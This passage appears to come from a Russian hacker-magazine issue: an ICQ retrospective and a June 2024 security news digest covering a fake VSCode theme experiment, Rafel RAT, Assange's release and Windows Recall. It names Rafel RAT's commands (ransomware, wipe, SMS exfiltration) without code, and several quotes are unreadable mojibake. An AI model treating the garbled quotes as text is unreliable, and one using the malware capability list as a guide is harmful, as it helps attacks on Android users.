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Вче ра, 26 июня 2024 года, про изош ло зна- 
ковое событие — сер вис ICQ прек ратил
свое сущес тво вание. Давай вспом ним,
какой была наша «Ась ка» и как так выш ло,
что мы с ней уже дав но рас ста лись.

Впер вые ICQ появи лась в 1996 году. Прог рамму соз дал изра иль ский стар тап
Mirabilis, сос тояв ший все го из пяти сот рудни ков. Сер вис ока зал ся удоб ным
и быс тро набирал поль зовате лей.

За пер вые два года его сущес тво вания номера ICQ име ли уже 12 мил- 
лионов человек, что по мер кам ран него интерне та огромная циф ра. Шут ка
ли — око ло 10% от чис ла всех поль зовате лей. И это без вся кого мар кетин га!
Люди прос то совето вали друг дру гу ста вить ICQ, дик товали UIN и радова лись
обще нию.

В 1998 году, на вол не бума дот комов, ком панию Mirabilis купила аме рикан- 
ская кор порация AOL, на тот момент круп ней ший в США интернет-про вай дер
и вла делец мно жес тва дру гих сер висов. Были зап лачены солид ные день ги —
400 мил лионов дол ларов.

ICQ 99a

Слож но ска зать, как про дажа пов лияла на судь бу ICQ. С одной сто роны, ком- 
панию понача лу не тро нули: штаб-квар тира оста лась в Изра иле, а пятеро
осно вате лей про дол жили работать над сво им детищем. С дру гой сто роны,
в той же AOL соз дали пря мого кон курен та ICQ — AOL Instant Messenger,
или AIM. Имен но его и прод вигали наибо лее активно.

В начале нулевых годов чис ло зарегис три рован ных поль зовате лей AIM
и ICQ срав нялось, при чем AIM к тому момен ту имел более активную поль- 
зователь скую базу. Но глав ным кон курен том обе им прог раммам стал
выпущен ный в 1999 году MSN Messenger, поз днее пере име новав ший ся
в Windows Live Messenger.

В Рос сии это было слож но заметить, но MSN Messenger на пике пре вос- 
ходил ICQ по популяр ности в десять раз. При чина успе ха та же, что и у Internet
Explorer: MSN пос тавлял ся вмес те с Windows. Поль зовате ли, еще не сидев- 
шие на игле Ась киных «а-ау», решали, что он дос таточ но хорош.

По губи ла же ICQ вов се не Microsoft. Винова ты ско рее ее кон курен ты —
Apple и Google, ведь глав ным уда ром для ран них мес сен дже ров ста ло появ- 
ление смар тфо нов.

Да, мобиль ные кли енты ICQ сущес тво вали еще в незапа мят ные вре мена,
но для новой эпо хи они не годились. Воз можно, за пеленой нос таль гии ты
уже забыл, как изна чаль но работа ла «Ась ка», но я напом ню. Если человек
не был онлайн, написать ему было невоз можно: сооб щения прос то
не доходи ли.

ICQ 2001b

Де ло в том, что обще ние меж ду кли ент ски ми при ложе ниями про исхо дило
нап рямую: получив от сер вера Mirabilis айпиш ники друг дру га, они пересы- 
лали все дан ные уже без его учас тия (кста ти, выяс нить IP собесед ника было
эле мен тарно, что сегод ня кажет ся дикова тым). Соот ветс твен но, исто рия
перепис ки тоже хра нилась толь ко локаль но. Если тебе что-то написа ли и это
приш ло на вклю чен ный компь ютер, то, зай дя с телефо на, ты это го сооб щения
уже не уви дишь.

Вслед за смар тфо нами появи лись мес сен дже ры новой вол ны: Viber,
WhatsApp, Facebook Messenger, Messages из iOS, Telegram и про чие, которые
решали эту проб лему. Все го нес коль ко лет, и об ICQ уже мало кто вспо минал.

«Ась ка» же в тот момент как раз меняла вла дель ца и перехо дила от AOL
к рос сий ско му фон ду Digital Sky и в том же 2010 году дос талась Mail.ru Group.
По при чинам, которые до сих пор нем ного загадоч ны, самыми стой кими
поль зовате лями ICQ ста ли рус ские.

Как-то так выш ло, что MSN нашему челове ку казал ся непонят ной забугор- 
ной шту кови ной, а вот «Ася» — сво ей и род ной. К 2013 году ICQ про дол жало
поль зовать ся 12 мил лионов человек, из них око ло 8 мил лионов жили в Рос- 
сии. Одна ко и это чис ло стре митель но сок ращалось. Народ активно общался
через «Вкон такте» и мас сово перехо дил либо на WhatsApp, либо на пос- 
леднюю тог дашнюю новин ку — Telegram.

Но вос ти о том, что ICQ активно модер низиру ют и добав ляют все новые
и новые фичи, вос при нима лись раз ве что с улыб кой: при ятно, конеч но, что
«Ася» еще жива, но вы ведь не име ете в виду, что ей всерь ез кто-то будет
поль зовать ся?

Эво люция логоти па

Чи тая в «Википе дии» исто рию обновле ний ICQ, даешь ся диву: ока зыва ется,
в офи циаль ный кли ент ICQ еще в 2003 году добави ли виде озвонки (я тог да
поль зовал ся не то «Миран дой», не то Pidgin, где их не было в помине).
В 2011 году появи лась интегра ция с Facebook и Twitter. В 2016 году
наконец-то выкати ли сер верную исто рию перепис ки и даже сти керы!

Ус пел ли ты отпра вить кому-нибудь сти кер по ICQ? Я — нет. «Пятиз наки»
и «шес тизна ки», аль тер натив ные кли енты, прось бы pisat’ translitom, a to odni
zakoryu4ki, мно гок ратные попыт ки отпра вить файл и дра мы о том, кто ког да
был онлайн, — все это теперь исто рия.

Ес ли хочешь еще нем ного пов спо минать вре мена, ког да «Ася» была
молодой и кра сивой, я вытащил для тебя из  статью
Дмит рия Докуча ева «Асеч ка на блю деч ке». Чур, на кла виату ру сле зами
не капать!

61-го номера «Хакера»
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В этом месяце: Джу лиан Ассанж вышел на сво боду, в Visual
Studio Code Marketplace обна ружи ли кучу мал вари, рек ламу
на YouTube пыта ются встро ить пря мо в виде опо ток,
для Raspberry Pi пред став лен AI Kit, запуск Windows Recall
отло жили из сооб ражений безопас ности, новые вла дель цы
polyll(.)io мог ли ском про мети ровать десят ки мил лионов
сай тов, а так же дру гие инте рес ные события июня.

ВРЕДОНОСНЫЙ
VSCODE
Из раиль ские иссле дова тели изу чили безопас ность Visual Studio Code и в
рам ках экспе римен та сумели «заразить» боль ше 100 орга низа ций, соз дав
клон популяр ной темы Dracula Official с вре донос ным кодом. Даль нейший
ана лиз VSCode Marketplace и вов се выявил тысячи опас ных рас ширений
с мил лиона ми уста новок.

Visual Studio Code (VSCode) — редак тор исходно го кода, выпус каемый
ком пани ей Microsoft, который исполь зует ся раз работ чиками по все му миру.
Так же Microsoft управля ет магази ном Visual Studio Code Marketplace,
в котором пред лага ются рас ширения, уве личи вающие фун кци ональ ность
при ложе ния и пре дос тавля ющие боль ше воз можнос тей для кас томиза ции.

В ходе экспе римен та ИБ-иссле дова тели Амит Асса раф (Amit Assaraf),
Итай Крук (Itay Kruk) и Идан Дар дикман (Idan Dardikman) соз дали рас ширение,
ими тиру ющее Dracula Official — популяр ную тему, нас читыва ющую
более 7 мил лионов уста новок в VSCode Marketplace.

Фаль шивое рас ширение исполь зовало тай псквот тинг и называ лось
Darcula, и иссле дова тели зарегис три рова ли соот ветс тву ющий домен
по адре су darculatheme.com. Этот домен поз волил им получить ста тус про- 
верен ного изда теля на VSCode Marketplace, что при дало под делке убе- 
дитель нос ти.

Рас ширение исполь зовало код легитим ной темы Dracula, но так же содер жало
допол нитель ный скрипт, который собирал информа цию о сис теме (вклю чая
имя хос та, количес тво уста нов ленных рас ширений, домен ное имя устрой ства
и информа цию об ОС), а затем переда вал все это на уда лен ный сер вер
через HTTPS-зап рос POST.

Пос коль ку экспе римент не прес ледовал вре донос ных целей, ана лити ки
соб рали толь ко опоз наватель ную информа цию, а так же вклю чили соот ветс- 
тву ющее пре дуп режде ние в Read Me, лицен зию и код рас ширения.

Ис сле дова тели отме чают, что вре донос ный код не обна ружи вал ся EDR-
решени ями, пос коль ку к VSCode зачас тую отно сят ся снис ходитель но.

«
»

«Ê ñîæàëå íèþ, òðà äèöè îííûå ñðåäñ òâà çàùèòû êîíå÷ íûõ òî÷åê (EDR)
íå îáíà ðóæè âàþò ýòó àêòèâíîñòü. VSCode ñîç äàí äëÿ ÷òå íèÿ áîëü øîãî
êîëè÷åñ òâà ôàé ëîâ, âûïîë íåíèÿ ìíî æåñ òâà êîìàíä è ñîç äàíèÿ äî÷åð- 
íèõ ïðî öåñ ñîâ, ïîýòî ìó EDR íå ìîãóò îïðå äåëèòü, ÿâëÿ åòñÿ ëè ýòà
àêòèâíîñòü VSCode íîð ìàëü íîé äåÿòåëü íîñòüþ ðàç ðàáîò ÷èêà
èëè ïðèç íàêîì âðå äîíîñ íîãî ðàñ øèðåíèÿ», — ïèøåò Àìèò Àññà ðàô.

В ито ге фаль шивое рас ширение быс тро наб рало популяр ность: по ошиб ке
его уста нови ли мно жес тво круп ных орга низа ций, вклю чая неназ ванную ком- 
панию с рыноч ной сто имостью 483 мил лиар да дол ларов, ряд круп ных
охранных ком паний и наци ональ ную судеб ную сеть. Иссле дова тели не ста ли
рас кры вать наз вания пос тра дав ших орга низа ций.

Уже пос ле про веде ния экспе римен та спе циалис ты решили изу чить дру гие
угро зы в VSCode Marketplace, исполь зуя раз работан ный ими инс тру мент
ExtensionTotal, пред назна чен ный для поис ка потен циаль но опас ных рас- 
ширений, их рас паков ки и тща тель ного иссле дова ния подоз ритель ных фраг- 
ментов кода. В ито ге они выяви ли:

1283 рас ширения с извес тным вре донос ным кодом (сум марно 229 мил- 
лионов уста новок);

•

8161 рас ширение, свя зыва ющееся с жес тко закоди рован ными IP-адре- 
сами;

•

1452 запущен ных неиз вес тных исполня емых фай ла;•
2304 рас ширения, исполь зующих GitHub-репози тории дру гих изда телей,
что сви детель ству ет о том, что это лишь под ражате ли.

•

Эк спер ты пре дуп режда ют, что из-за отсутс твия стро гих механиз мов кон тро ля
и про вер ки кода в VSCode Marketplace зло умыш ленни ки могут бес пре пятс- 
твен но зло упот реблять плат формой, при чем по мере рос та ее популяр ности
ситу ация ухуд шает ся.

«

»

«Öèô ðû ãîâîðÿò î òîì, ÷òî â ìàãàçè íå Visual Studio Code ñóùåñ òâó åò
îãðîìíîå êîëè÷åñ òâî ðàñ øèðåíèé, ïðåä ñòàâ ëÿþùèõ îïàñ íîñòü
äëÿ îðãà íèçà öèé, — ïðå äóï ðåæäà þò èññëå äîâà òåëè. — Ðàñ øèðåíèÿ
äëÿ VSCode — ýòî âåê òîð àòàê ñ íóëåâîé âèäèìîñòüþ, êîòîðûì çëî- 
óïîò ðåáëÿ þò è êîòîðûé ìîæåò èìåòü ñåðü åçíûå ïîñ ëåäñ òâèÿ è íåñ òè
ñåðü åçíûå ðèñ êè. Ýòà ïðîá ëåìà ïðåä ñòàâ ëÿåò ïðÿ ìóþ óãðî çó
äëÿ îðãà íèçà öèé è çàñ ëóæèâà åò âíè ìàíèÿ ÈÁ�ñîîá ùåñ òâà».

Ин форма ция обо всех вре донос ных рас ширени ях, обна ружен ных иссле дова- 
теля ми, была переда на спе циалис там Microsoft.

В бли жай шее вре мя иссле дова тели пла ниру ют бес плат но опуб ликовать
ExtensionTotal вмес те с под робным опи сани ем его рабочих воз можнос тей.
Инс тру мент дол жен помочь раз работ чикам про верить свои сре ды на наличие
потен циаль ных угроз.

У БИРЖИ УКРАЛИ  БИТКОИНА4502

У япон ской крип товалют ной бир жи DMM Bitcoin похити ли , то есть око ло
 по кур су на момент взло ма. Это самое круп ное крип тоог рабле- 

ние в 2024 году и  по величи не за всю исто рию наб людений.

4502,9  бит коина
308 мил лионов дол ларов

вось мое

Пред ста вите ли DMM Bitcoin завери ли, что все депози ты кли ентов в бит коинах будут пол ностью
обес печены и попол нены на сум му, экви вален тную похищен ной.

RAFEL RAT ПРОТИВ
СТАРЫХ
«АНДРОИДОВ»
Опен сор сная мал варь Rafel RAT для Android исполь зует ся зло умыш ленни ками
для атак на уста рев шие устрой ства, пре дуп редили в ком пании Check Point.
В некото рых слу чаях хакеры пыта ются бло киро вать устрой ства с помощью
вымога тель ско го модуля и через Telegram тре буют опла ты выкупа.

Rafel RAT уже при меня ется как минимум в 120 вре донос ных кам пани ях
во мно гих стра нах мира (боль шинс тво пос тра дав ших находят ся в США
и Индо незии, но и Рос сию эти ата ки тоже зат ронули). За некото рыми из атак
сто ят извес тные хак груп пы, нап ример APT-C-35 (DoNot Team), в то вре мя
как в дру гих слу чаях ата кующие неиз вес тны, а вре донос ная активность исхо- 
дит из Ира на и Пакис тана.

В боль шинс тве рас смот ренных Check Point атак жер твы исполь зовали ста рые
вер сии Android, под дер жка которых уже закон чилась, так что ОС боль ше
не получа ла обновле ний безопас ности. Так, на Android 11 и стар ше приш лось
более 87,5% от обще го чис ла зараже ний. И лишь 12,5% заражен ных устрой- 
ств работа ли под управле нием Android 12 или 13.

Что каса ется брен дов и моделей устрой ств, под вер гших ся ата кам, сре ди них
были Samsung Galaxy, Google Pixel, Xiaomi Redmi, Motorola One, а так же
устрой ства OnePlus, Vivo и Huawei. Поэто му экспер ты дела ют вывод, что Rafel
RAT весь ма эффекти вен про тив мно жес тва раз личных вер сий Android.

Тро ян рас простра няет ся раз ными спо соба ми, но чаще все го зло умыш- 
ленни ки мас киру ются под извес тные брен ды (вклю чая Instagram＊, WhatsApp,
популяр ные e-commerce-плат формы и анти вирус ные при ложе ния), что бы
обма ном вынудить поль зовате лей заг рузить вре донос ные APK.

За тем во вре мя уста нов ки вре донос зап рашива ет дос туп к опас ным раз- 
решени ям, в том чис ле раз решение на работу в фоновом режиме, а так же
вне сение в спи сок исклю чений, что бы на мал варь не вли яла опти миза ция
батареи.

Ко ман ды, под держи ваемые Rafel RAT, зависят от кон крет ной вер сии мал- 
вари, но наибо лее важ ные из них такие:

 — запус кает про цесс шиф рования фай лов на устрой стве;• ransomware

 — уда ляет все фай лы по ука зан ному пути;• wipe

 — бло киру ет экран устрой ства, делая его неп ригод ным

для исполь зования;

• LockTheScreen

 — переда ет все SMS (вклю чая коды двух фактор ной аутен- 

тифика ции) на управля ющий сер вер;

• sms_oku

 — переда ет дан ные о мес тополо жении устрой ства
на управля ющий сер вер.

• location_tracker

По дан ным иссле дова телей, при мер но в 10% атак была задей ство вана
коман да ransomware, то есть хакеры шиф ровали фай лы на устрой стве
с помощью заранее опре делен ного клю ча AES и вымога ли выкуп у жертв.

Ес ли вре донос получил на устрой стве пра ва DeviceAdmin, у него появ ляет- 
ся кон троль над важ ней шими фун кци ями, вклю чая воз можность изме нять
пароль бло киров ки экра на и добав лять на экран про изволь ное сооб щение,
час то пред став ляющее собой запис ку с тре бова нием выкупа.

Ху же того, если поль зователь попыта ется отоз вать пра ва адми нис тра тора
у Rafel RAT, мал варь может отре аги ровать сме ной пароля и немед ленной бло- 
киров кой экра на.

Ана лити ки наб людали нес коль ко опе раций с исполь зовани ем Rafel RAT,
в час тнос ти ата ку из Ира на, в ходе которой перед запус ком модуля шиф- 
рования была про веде на раз ведка с исполь зовани ем дру гих воз можнос тей
мал вари. Так, зло умыш ленни ки сти рали исто рию звон ков, меняли обои
на собс твен ное сооб щение, бло киро вали экран, акти виро вали виб рацию
устрой ства и отправ ляли SMS с тре бова нием выкупа. Жер тве пред лагалось
свя зать ся с хакера ми в Telegram, что бы «решить проб лему».

Эк спер ты напоми нают, что для защиты от подоб ных атак сле дует избе гать
заг рузки APK из сом нитель ных источни ков, не перехо дить по URL-адре сам
из элек трон ных писем и SMS, а так же про верять при ложе ния через Play
Protect перед их запус ком.
＊При над лежит ком пании Meta, чья деятель ность приз нана экс тре мист- 

ской и зап рещена в Рос сии.

СКОЛЬКО ЗАРАБАТЫВАЮТ НЕОФИЦИАЛЬНЫЕ СТУДИИ
ОЗВУЧИВАНИЯ
Ана лити ки ком пании FACCT изу чили рынок и доходы за 2023 год  неофи циаль ных сту дий
озвучки, чьи перево ды обыч но исполь зуют нелегаль ные рас простра ните ли виде окон тента.

50

Нев зирая на общее падение рын ка онлайн-пиратс тва в 2023 году (в целом он сок ратил ся
на ), активно раз вива ются сту дии аль тер натив ного озву чива ния, которые фор миру ют вок- 
руг себя собс твен ный рынок. Иссле дова тели свя зыва ют это с геопо лити чес кой ситу ацией,
а так же боль шим чис лом зарубеж ных сери алов и филь мов, не пред став ленных офи циаль но
в Рос сии.

16%

Ко личес тво озву чек филь мов и сери алов в 2023 году пре выси ло .22 700

Ми нималь ный зарабо ток изу чен ных 50 сту дий за этот пери од оце нива ется более чем
в  руб лей.61,6 мил лиона

Од на сту дия обыч но занима ется озву чива нием филь мов и сери алов кон крет ных жан ров и стран
про изводс тва. Так, изу чен ные сту дии рас пре деля ются по четырем обоб щенным жан рам:

, , , а так же 
.

филь мы и сери алы для мас сового зри теля до рамы ани ме ту рец кие филь- 
мы и сери алы

Не офи циаль ные озву чива тели зараба тыва ют на  (41,9%), 
 (23,4%), 

(20,5%),  (14,2%).

спон сор ских под писках до- 
ходах от  рек ламы и  сбо ров на  озвучку рек ламных доходах с  сай та

до натах

AI KIT ДЛЯ
RASPBERRY
В про дажу пос тупил модуль AI Kit, пред назна чен ный для Raspberry Pi 5.
Модуль соз дан сов мес тно с ком пани ей Hailo и содер жит ней роп роцес сор ее
про изводс тва, облегча ющий работу над про екта ми, свя зан ными с ИИ, ней- 
росетя ми и машин ным обу чени ем.

AI Kit пред став лен в фор мате кар ты рас ширения HAT+ (Hardware Attached
on Top). Новин ка пос тро ена на ней роп роцес соре Hailo-8L (уре зан ная вер сия
чипа Hailo-8, анон сирован ного ранее в этом году). Модуль пред став лен
в форм-фак торе M.2, то есть его мож но лег ко под клю чить к HAT+.

Ком пания Hailo спе циали зиру ется на чипах, пред назна чен ных для выпол- 
нения рабочих наг рузок ИИ на перифе рий ных устрой ствах, нап ример в авто- 
моби лях, умных камерах, а теперь и на Raspberry Pi.

Со обща ется, что пос ле под клю чения AI Kit к Raspberry Pi 5 устрой ство смо жет
выпол нять 13 TOPS (трил лионов опе раций в секун ду). Это не слиш ком мно го
по срав нению с GPU Nvidia или ИИ-ноут буками с такими про цес сорами,
как Intel Lunar Lake, на 40+ TOPS, одна ко решение получа ется эко номич ным
и работа ет со штат ным бло ком питания Raspberry Pi на 27 Вт.

По сло вам тех ничес кого дирек тора Hailo Ави Баума (Avi Baum), чип пот- 
ребля ет око ло одно го ват та на каж дые три TOPS (и не более пяти ватт). А для
обыч ной наг рузки, вро де обра бот ки видео на 60 FPS в реаль ном вре мени,
тре бует ся поряд ка одно го-двух ватт.

Что каса ется соф та, пос ледняя вер сия Raspberry Pi OS авто мати чес ки
обна ружи вает модуль Hailo, поэто му его сра зу могут исполь зовать ОС и соот- 
ветс тву ющие при ложе ния.

Кро ме того, Raspberry Pi обно вила набор при ложе ний для работы
с камерой. Теперь, к при меру, мож но исполь зовать камеру для обна руже ния
объ ектов («Это авто мобиль»), семан тичес кой сег мента ции («Эти три объ- 
екта — дви жущи еся авто моби ли»), сег мента ции объ ектов («Эти три дви- 
жущих ся авто моби ля — гру зовик, крас ный авто мобиль и синий авто мобиль»),
опре деле ния поз и раз метки лиц. При этом под черки вает ся, что чип Hailo
мож но при менять и для задач, не свя зан ных с камерой.

AI Kit уже пос тупил в про дажу и рас простра няет ся через «гло баль ную сеть
одоб ренных ресел леров Raspberry Pi» по цене 70 дол ларов США.

Ру ково дитель Raspberry Pi Foundation Эбен Аптон (Eben Upton) отме тил,
что мно гие боль шие язы ковые модели (LLM) слож но запус тить даже на мощ- 
ных ПК, а некото рые работы все рав но при дет ся выпол нять в обла ке. И хотя
пока для AI Kit нет широко го спек тра вари антов исполь зования, Аптон ожи- 
дает, что его дос тупная цена при ведет к «экспо нен циаль ному рос ту» при- 
ложе ний и решений в области ИИ.

ЗАМЕДЛЕНИЕ YOUTUBE ВЕРОЯТНЕЕ БЛОКИРОВКИ
Зам пред комите та Гос думы по информа цион ной полити ке Антон Горел кин рас ска зал в сво ем
Telegram-канале, что вари ант с замед лени ем ско рос ти работы YouTube в Рос сии выг лядит
более реалис тичным, чем пол ная бло киров ка сер виса на тер ритории стра ны.

→ «Отлично сегод ня подис кутиро вали с экспер тами РОЦИТ о судь бе YouTube.
Сра зу ска жу, что пока нет отве та на самый популяр ный воп рос: „Ког да его уже
заб локиру ют?“ К тому же, ско рее все го, регуля тор сна чала задей ству ет не бло- 
киров ку, а дру гую огра ничи тель ную меру — замед ление ско рос ти дос тупа. И тут
есть нюанс.

За коноп роект о зап рете рек ламы на заб локиро ван ных ресур сах, который мы
с кол легами внес ли на рас смот рение Гос думы, зат ронет YouTube даже в слу чае
замед ления ско рос ти. Это зна чит, что рек ламные интегра ции, которы ми сей час
активно про мыш ляют рос сий ские кон тент-мей керы на аме рикан ском виде охос- 
тинге, ока жут ся вне закона. А пос коль ку вари ант с замед лени ем YouTube пред- 
став ляет ся более реалис тичным, чем пол ная его бло киров ка, этот сце нарий
нуж но дер жать в голове всем, кто вов лечен в эту деятель ность», — пишет Горел- 
кин.

Продолжение статьи →

mailto:nefedova@glc.ru
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ДЖУЛИАН АССАНЖ
СВОБОДЕН
Ос новате ля WikiLeaks Джу лиана Ассанжа осво боди ли из-под стра жи, и он
покинул тюрь му стро гого режима Бел марш, где про вел 1901 день. Ассанжа
осво боди ли в резуль тате сдел ки, которую он зак лючил с Минис терс твом
юсти ции США.

26 июня 2024 года Ассанж пред стал перед судом на Север ных Мари- 
анских остро вах (США), на остро ве Сай пан, и приз нал себя винов ным
по одно му из 18 пун ктов обви нения, а имен но в сго воре с целью получе ния
и рас простра нения информа ции, свя зан ной с наци ональ ной обо роной США.

Де ло в том, что в рам ках сог лашения пос ле приз нания вины Ассанжа при- 
гово рили к 62 месяцам зак лючения, которые он уже отбыл в бри тан ской
тюрь ме. Затем судья зафик сировал догово рен ности меж ду Ассанжем
и Минис терс твом юсти ции США, пос ле это го дело осно вате ля WikiLeaks было
офи циаль но прек ращено, и он нап равил ся домой в Авс тра лию.

От метим, что остров Сай пан был выб ран влас тями «с уче том несог ласия
обви няемо го ехать в кон тинен таль ную часть США для приз нания сво ей вины
и бли зос ти это го федераль ного окружно го суда США к стра не граж данс тва
обви няемо го, Авс тра лии, куда, как мы ожи даем, он вер нется по окон чании
про цес са», — говорит ся в  Отде ла наци ональ ной безопас ности
Минис терс тва юсти ции США от 24 июня текуще го года.

пись ме

«

»

«Ýòî ðåçóëü òàò ãëî áàëü íîé êàì ïàíèè, â êîòîðîé ïðè íèìà ëà ó÷àñ òèå
îáùåñ òâåí íîñòü, áîð öû çà ñâî áîäó ïðåñ ñû, çàêîíî äàòå ëè è ëèäåðû
ðàç íûõ ïîëèòè ÷åñ êèõ êðó ãîâ, âïëîòü äî Îðãà íèçà öèè Îáú åäè íåí íûõ
Íàöèé. Âñå ýòî ñîç äàëî óñëî âèÿ äëÿ ïðî âåäå íèÿ äëè òåëü íûõ ïåðåãî- 
âîðîâ ñ Ìèíèñ òåðñ òâîì þñòè öèè ÑØÀ, êîòîðûå ïðè âåëè ê çàê ëþ÷åíèþ
ñäåë êè, ïîêà åùå îôè öèàëü íî íå çàâåð øåííîé. Ìû ïðå äîñ òàâèì
äîïîë íèòåëü íóþ èíôîðìà öèþ â áëè æàé øåå âðå ìÿ.

Ïîñ ëå áîëåå ïÿòè ëåò, ïðî âåäåí íûõ â êàìåðå ðàç ìåðîì äâà íà òðè
ìåò ðà, â óñëî âèÿõ èçî ëÿöèè 23 ÷àñà â ñóò êè, Àññàíæ ñêî ðî âîñ ñîåäè- 
íèò ñÿ ñî ñâî åé æåíîé Ñòåë ëîé Àññàíæ è äåòü ìè, êîòîðûå çíà ëè ñâî- 
åãî îòöà òîëü êî èç�çà ðåøåò êè.

WikiLeaks îïóá ëèêîâà ëà ñåí ñàöè îííûå èñòî ðèè î êîð ðóïöèè â ïðà- 
âèòåëü ñòâå è íàðóøå íèÿõ ïðàâ ÷åëîâå êà, çàñ òàâèâ ïðåä ñòà âèòå ëåé
âëàñ òè îòâå ÷àòü çà ñâîè äåé ñòâèÿ. Áóäó÷è ãëàâ íûì ðåäàê òîðîì, Äæó- 
ëèàí æåñ òîêî ïîï ëàòèë ñÿ çà ýòè ïðèí öèïû è çà ïðà âî ëþäåé çíàòü.

Òå ïåðü, êîã äà îí âîç âðà ùàåò ñÿ â Àâñ òðà ëèþ, ìû áëà ãîäà ðèì âñåõ,
êòî ïîä äåðæè âàë íàñ, áîðîë ñÿ çà íàñ è ñîõ ðàíÿë íåïîêî ëåáè ìóþ ïðå- 
äàí íîñòü â áîðü áå çà åãî ñâî áîäó.

Ñâî áîäà Äæó ëèàíà — ýòî íàøà ñâî áîäà», — ïèøóò ïðåä ñòà âèòå ëè
WikiLeaks.

На пом ним, что до зак лючения в тюрь му Бел марш око ло семи лет Ассанж про- 
жил в посоль стве Эква дора в Лон доне, где ему пре дос тавили убе жище, что бы
он мог избе жать экс тра диции в Шве цию. В Шве ции про тив него были выд- 
винуты обви нения в изна сило вании, которые он отри цал и которые, как он
опа сал ся, в ито ге будут исполь зованы для его экс тра диции в США.

В 2019 году влас ти Эква дора лишили Ассанжа убе жища в посоль стве,
анну лиро вали получен ное им эква дор ское граж данс тво и переда ли бри тан- 
ской полиции, пос ле чего он ока зал ся в тюрь ме стро гого режима, отку да
мно го лет про тивос тоял попыт кам экс тра диции со сто роны США, где ему
гро зило до 175 лет тюрем ного зак лючения. Поз же в том же году Шве ция
прек ратила рас сле дова ние в отно шении Ассанжа.

Как теперь сооб щает Минис терс тво юсти ции США, пос ле вынесе ния при- 
гово ра и осуж дения Ассанжу «зап рещено воз вра щать ся в Соеди нен ные Шта- 
ты без раз решения».

 ПАРОЛЕЙ ЛОМАЮТСЯ ЗА МИНУТУ45%

Эк спер ты «Лабора тории Кас пер ско го» про ана лизи рова ли  паролей, обна ружен- 
ных в пуб личном дос тупе в дар кне те. Выяс нилось, что поч ти полови ну из них ( ,
или ) хакеры смо гут взло мать менее чем за минуту.

193 мил лиона
45%

87 мил лионов

Ху же того, ока залось, что боль шинс тво про ана лизи рован ных паролей ( ) содер жат сло вар- 
ное сло во, что зна читель но сни жает их устой чивость к взло му.

57%

При исполь зовании наибо лее эффектив ного брут форс-алго рит ма толь ко  ( )
пароль ных ком бинаций ока зались дос таточ но стой кими: на их взлом у зло умыш ленни ков
ушло бы боль ше года.

23% 44 мил лиона

WINDOWS RECALL
ОТЛОЖИЛИ
Ком пания Microsoft отло жила запуск ИИ-фун кции Windows Recall, что бы
более тща тель но про тес тировать ее перед выходом в виде пуб личной пред- 
варитель ной вер сии на компь юте рах Copilot+.

На пом ним, что Recall пред ста вили в мае 2024 года. Фун кция приз вана
помочь «вспом нить» любую информа цию, которую поль зователь прос матри- 
вал в прош лом, сде лав ее дос тупной с помощью прос того поис ка. Так, Recall,
которую пла ниро вали вклю чить по умол чанию на всех новых ПК Copilot+,
дела ет сни мок активно го окна на экра не каж дые нес коль ко секунд, записы вая
все, что про исхо дит в Windows, будь то прос мотр сай тов в бра узе ре, обще- 
ние в мес сен дже ре или работа с дру гими при ложе ниями.

По лучен ные сним ки обра баты вают ся ней рон ным про цес сором (Neural
Processing Unit, NPU) устрой ства и ИИ-моделью для извле чения дан ных
со скрин шотов. Затем информа ция сох раня ется в SQLite, и поль зовате ли
Windows могут искать по исто рии с помощью зап росов на род ном язы ке.

Ис ходно релиз Recall в фор мате public preview был зап ланиро ван
на 18 июня 2024 года, одновре мен но со стар том про даж пер вых ПК Copilot+,
но теперь ком пания заяви ла, что откла дыва ет запуск. Ожи дает ся, что «в бли- 
жай шие недели» фун кция ста нет дос тупна толь ко огра ничен ному чис лу
людей, в рам ках прог раммы Windows Insider.

« »
«Ïîñ ëå ïîëó÷å íèÿ îòçû âîâ î Recall îò íàøåãî ñîîá ùåñ òâà Windows
Insider ìû, êàê îáû÷ íî, ïëà íèðó åì ñäå ëàòü Recall (preview) äîñ òóïíîé
äëÿ âñåõ ÏÊ Copilot+», — ñîîá ùèëè â êîì ïàíèè.

Сог ласно обновлен ному сооб щению в бло ге Microsoft, запуск Recall отло- 
жили, что бы при вес ти фун кцию в соот ветс твие с «высоки ми стан дарта ми»
ком пании в области качес тва и безопас ности.

«
»

«Ýòî ðåøåíèå îñíî âàíî íà íàøåì ñòðåì ëåíèè îáåñ ïå÷èòü íàäåæ íûé
è áåçîïàñ íûé îïûò äëÿ âñåõ êëè åíòîâ è ïîëó÷èòü äîïîë íèòåëü íûå
îòçû âû, ïðåæ äå ÷åì ñäå ëàòü ýòó ôóí êöèþ äîñ òóïíîé äëÿ âñåõ ïîëü- 
çîâàòå ëåé ÏÊ Copilot+», — äîáàâè ëè â Microsoft.

Мы уже  о том, что Recall под вер глась жес ткой кри тике как со
сто роны ИБ-экспер тов, так и со сто роны защит ников кон фиден циаль нос ти.
Спе циалис ты срав нивали фун кцию с кей лог гером, добав ленным в Windows,
и уже демонс три рова ли, как исполь зовать ее для кра жи дан ных.

рас ска зыва ли

В ответ на эту кри тику Microsoft сооб щила, что обес печит допол нитель ную
безопас ность Recall, сде лав фун кцию опци ональ ной и зашиф ровав БД, что бы
та была недос тупна, пока поль зователь не прой дет аутен тифика цию
с помощью Windows Hello.

По ка неяс но, какие допол нитель ные защит ные меры Microsoft намере- 
вает ся встро ить в Recall и ког да фун кция будет дос тупна обыч ным поль- 
зовате лям.

БЕЗОПАСНОСТЬ МАЛОГО И СРЕДНЕГО БИЗНЕСА
Спе циалис ты «Лабора тории Кас пер ско го» изу чили кибер защиту мик ро-, малых и сред них пред- 
при ятий.

В сек торе малого и сред него биз неса с 1 янва ря по 30 апре ля 2024 года выяв лено 
зараже ний. По срав нению со  слу чаями за тот же пери од 2023 года рост сос тавил более

.

138 046
131 219

5%

Са мой рас простра нен ной угро зой оста ются , осо бен но замас кирован ных
под легитим ные при ложе ния.

ата ки тро янов

Ос новные типы угроз, зат рагива ющих сек тор малого и сред него биз неса

Ча ще все го мал варь ата кующих ими тиро вала сле дующие при ложе ния: ,
,  и  (в мире), ,

 и  (в Рос сии).

Microsoft Excel
Microsoft Word Microsoft PowerPoint Salesforce Microsoft Outlook
Microsoft PowerPoint Salesforce

Про цент уни каль ных фай лов с име нами, ими тиру ющи ми девять самых популяр ных легитим ных при- 
ложе ний

Так же серь езной проб лемой для малого и сред него биз неса оста ется , который чаще
все го рас простра няет ся через  и .

фи шинг
элек трон ные пись ма со циаль ные сети

УТЕКЛИ ИСХОДНИКИ
APPLE
Ха кер под ником IntelBroker заявил на BreachForums, что похитил у ком пании
